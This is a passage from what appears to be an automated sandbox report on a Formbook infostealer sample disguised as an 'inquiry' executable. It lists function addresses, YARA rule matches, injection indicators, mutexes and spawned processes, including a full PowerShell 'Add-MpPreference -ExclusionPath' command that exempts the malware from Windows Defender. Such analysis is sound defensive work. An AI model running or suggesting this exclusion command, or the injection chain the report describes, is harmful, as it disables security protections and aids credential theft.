            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01555BF04_2_01555BF0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0151DBF94_2_0151DBF9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FFB804_2_014FFB80
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159FA494_2_0159FA49
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01597A464_2_01597A46
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01553A6C4_2_01553A6C
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0158DAC64_2_0158DAC6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01525AA04_2_01525AA0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0157DAAC4_2_0157DAAC
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01581AA34_2_01581AA3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01591D5A4_2_01591D5A
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E3D404_2_014E3D40
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01597D734_2_01597D73
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014FFDC04_2_014FFDC0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_01559C324_2_01559C32
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159FCF24_2_0159FCF2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159FF094_2_0159FF09
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014A3FD24_2_014A3FD2
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014A3FD54_2_014A3FD5
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E1F924_2_014E1F92
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0159FFB14_2_0159FFB1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014E9EB04_2_014E9EB0
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_033039A215_2_033039A2
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0330597415_2_03305974
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_033230B415_2_033230B4
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0330C0E415_2_0330C0E4
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0330575415_2_03305754
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0330574B15_2_0330574B
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510053516_2_05100535
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051C059116_2_051C0591
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051A442016_2_051A4420
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B244616_2_051B2446
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051AE4F616_2_051AE4F6
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0512475016_2_05124750
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510077016_2_05100770
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050FC7C016_2_050FC7C0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0511C6E016_2_0511C6E0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0519A11816_2_0519A118
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050F010016_2_050F0100
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0518815816_2_05188158
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051C01AA16_2_051C01AA
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B41A216_2_051B41A2
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B81CC16_2_051B81CC
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0519200016_2_05192000
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BA35216_2_051BA352
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510E3F016_2_0510E3F0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051C03E616_2_051C03E6
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051A027416_2_051A0274
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051802C016_2_051802C0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0519CD1F16_2_0519CD1F
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510AD0016_2_0510AD00
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05118DBF16_2_05118DBF
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050FADE016_2_050FADE0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05100C0016_2_05100C00
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051A0CB516_2_051A0CB5
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050F0CF216_2_050F0CF2
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05120F3016_2_05120F30
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051A2F3016_2_051A2F30
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05142F2816_2_05142F28
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05174F4016_2_05174F40
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0517EFA016_2_0517EFA0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050F2FC816_2_050F2FC8
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510CFE016_2_0510CFE0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BEE2616_2_051BEE26
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05100E5916_2_05100E59
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05112E9016_2_05112E90
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BCE9316_2_051BCE93
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BEEDB16_2_051BEEDB
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0511696216_2_05116962
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051029A016_2_051029A0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051CA9A616_2_051CA9A6
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510A84016_2_0510A840
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510284016_2_05102840
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050E68B816_2_050E68B8
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0512E8F016_2_0512E8F0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BAB4016_2_051BAB40
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B6BD716_2_051B6BD7
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050FEA8016_2_050FEA80
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B757116_2_051B7571
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0519D5B016_2_0519D5B0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051C95C316_2_051C95C3
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BF43F16_2_051BF43F
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050F146016_2_050F1460
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BF7B016_2_051BF7B0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0514563016_2_05145630
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B16CC16_2_051B16CC
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051CB16B16_2_051CB16B
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050EF17216_2_050EF172
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0513516C16_2_0513516C
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510B1B016_2_0510B1B0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051070C016_2_051070C0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051AF0CC16_2_051AF0CC
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B70E916_2_051B70E9
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BF0E016_2_051BF0E0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B132D16_2_051B132D
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_050ED34C16_2_050ED34C
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0514739A16_2_0514739A
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051052A016_2_051052A0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0511B2C016_2_0511B2C0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051A12ED16_2_051A12ED
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B1D5A16_2_051B1D5A
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05103D4016_2_05103D40
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B7D7316_2_051B7D73
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0511FDC016_2_0511FDC0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05179C3216_2_05179C32
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BFCF216_2_051BFCF2
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BFF0916_2_051BFF09
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05101F9216_2_05101F92
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BFFB116_2_051BFFB1
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05109EB016_2_05109EB0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0519591016_2_05195910
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0510995016_2_05109950
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0511B95016_2_0511B950
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0516D80016_2_0516D800
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051038E016_2_051038E0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BFB7616_2_051BFB76
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0511FB8016_2_0511FB80
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05175BF016_2_05175BF0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0513DBF916_2_0513DBF9
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051BFA4916_2_051BFA49
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051B7A4616_2_051B7A46
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05173A6C16_2_05173A6C
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_05145AA016_2_05145AA0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0519DAAC16_2_0519DAAC
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051A1AA316_2_051A1AA3
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_051ADAC616_2_051ADAC6
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_030315D016_2_030315D0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0304A0E016_2_0304A0E0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0302C77716_2_0302C777
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0302C78016_2_0302C780
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0302AA2016_2_0302AA20
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0302C9A016_2_0302C9A0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0303311016_2_03033110
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 0154EA12 appears 86 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 01515130 appears 58 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 0155F290 appears 105 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 014CB970 appears 277 times
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 01527E54 appears 111 times
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: String function: 05135130 appears 58 times
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: String function: 0516EA12 appears 86 times
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: String function: 05147E54 appears 111 times
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: String function: 0517F290 appears 105 times
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: String function: 050EB970 appears 277 times
            Source: inquiry EBS# 82785.exeStatic PE information: invalid certificate
            Source: inquiry EBS# 82785.exe, 00000000.00000002.1290491442.00000000099AE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exe, 00000000.00000002.1282468867.0000000003CC9000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exe, 00000000.00000002.1286900849.0000000005110000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameSimpleLogin.dll8 vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exe, 00000000.00000000.1231344660.00000000004D0000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameHSfy.exe( vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exe, 00000000.00000002.1289449353.0000000006E50000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameTyrone.dll8 vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exe, 00000000.00000002.1269901185.0000000000A2E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exeBinary or memory string: OriginalFilenameHSfy.exe( vs inquiry EBS# 82785.exe
            Source: inquiry EBS# 82785.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: inquiry EBS# 82785.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, N6DDnZAE4yvHR3hqWD.csSecurity API names: _0020.SetAccessControl
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, N6DDnZAE4yvHR3hqWD.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, N6DDnZAE4yvHR3hqWD.csSecurity API names: _0020.AddAccessRule
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, tnLdWEBm0adCBNA3Ol.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, tnLdWEBm0adCBNA3Ol.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, N6DDnZAE4yvHR3hqWD.csSecurity API names: _0020.SetAccessControl
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, N6DDnZAE4yvHR3hqWD.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, N6DDnZAE4yvHR3hqWD.csSecurity API names: _0020.AddAccessRule
            Source: 0.2.inquiry EBS# 82785.exe.4fe0000.3.raw.unpack, ReactionVessel.csSuspicious method names: .ReactionVessel.Inject
            Source: 0.2.inquiry EBS# 82785.exe.28314bc.0.raw.unpack, ReactionVessel.csSuspicious method names: .ReactionVessel.Inject
            Source: 0.2.inquiry EBS# 82785.exe.28214b0.1.raw.unpack, ReactionVessel.csSuspicious method names: .ReactionVessel.Inject
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@10/7@16/9
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\inquiry EBS# 82785.exe.logJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeMutant created: \Sessions\1\BaseNamedObjects\sRiNlhJhKYvesmCFruYR
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4656:120:WilError_03
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrju2tjp.gy3.ps1Jump to behavior
            Source: inquiry EBS# 82785.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: inquiry EBS# 82785.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: iexpress.exe, 00000010.00000003.1615643890.0000000003296000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3700825150.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1615951059.00000000032B6000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3700825150.00000000032E4000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3700825150.00000000032B6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: inquiry EBS# 82785.exeReversingLabs: Detection: 68%
            Source: inquiry EBS# 82785.exeString found in binary or memory: Form3!Types of Squares-Startup life evolution%Genetic AlgorithmsyPopulation: chromosomes encoding starting cell and movementsYOperators: selection, crossover and mutation
            Source: inquiry EBS# 82785.exeString found in binary or memory: Source code available on Github under MIT license: https://github.com/romenrg/genetic-startups
            Source: unknownProcess created: C:\Users\user\Desktop\inquiry EBS# 82785.exe "C:\Users\user\Desktop\inquiry EBS# 82785.exe"
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe"
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeProcess created: C:\Windows\SysWOW64\iexpress.exe "C:\Windows\SysWOW64\iexpress.exe"
            Source: C:\Windows\SysWOW64\iexpress.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe"Jump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"Jump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeProcess created: C:\Windows\SysWOW64\iexpress.exe "C:\Windows\SysWOW64\iexpress.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: windows.storage.dllJump to behavior
